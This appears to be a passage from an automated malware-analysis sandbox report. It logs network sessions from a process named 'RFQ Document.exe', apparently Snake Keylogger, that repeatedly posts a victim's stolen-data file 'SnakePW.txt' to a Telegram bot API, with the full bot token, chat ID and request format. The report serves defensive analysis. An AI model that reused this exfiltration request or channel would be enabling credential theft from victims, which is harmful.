2021-09-28 05:58:56 UTC	185	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 37 35 34 63 61 63 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d754cacaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:56 UTC	186	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:56 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:56 UTC	186	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12701,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808736,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.4	49916	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:56 UTC	186	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d76ca2a1 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:56 UTC	187	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 37 36 63 61 32 61 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d76ca2a1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:56 UTC	187	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:56 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:56 UTC	188	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12702,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808736,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.4	49917	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:57 UTC	188	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d7821822 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:57 UTC	188	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 37 38 32 31 38 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d7821822Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:57 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:57 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:57 UTC	189	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12703,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808737,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.4	49918	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:57 UTC	190	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d7a83f75 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:57 UTC	190	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 37 61 38 33 66 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d7a83f75Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:57 UTC	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:57 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:57 UTC	191	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12704,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808737,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49786	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:23 UTC	18	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c33e2121 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:23 UTC	19	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 33 33 65 32 31 32 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c33e2121Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:23 UTC	19	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:23 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:23 UTC	20	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12591,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808703,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.4	49919	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:57 UTC	191	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d7d7ede1 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:57 UTC	192	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 37 64 37 65 64 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d7d7ede1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:57 UTC	192	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:57 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:57 UTC	192	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12706,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808737,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.4	49920	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:57 UTC	193	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d7f489d9 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:57 UTC	193	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 37 66 34 38 39 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d7f489d9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:57 UTC	194	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:57 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:57 UTC	194	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12707,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808737,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.4	49921	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:57 UTC	195	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d80c5fc7 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:57 UTC	195	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 38 30 63 35 66 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d80c5fc7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
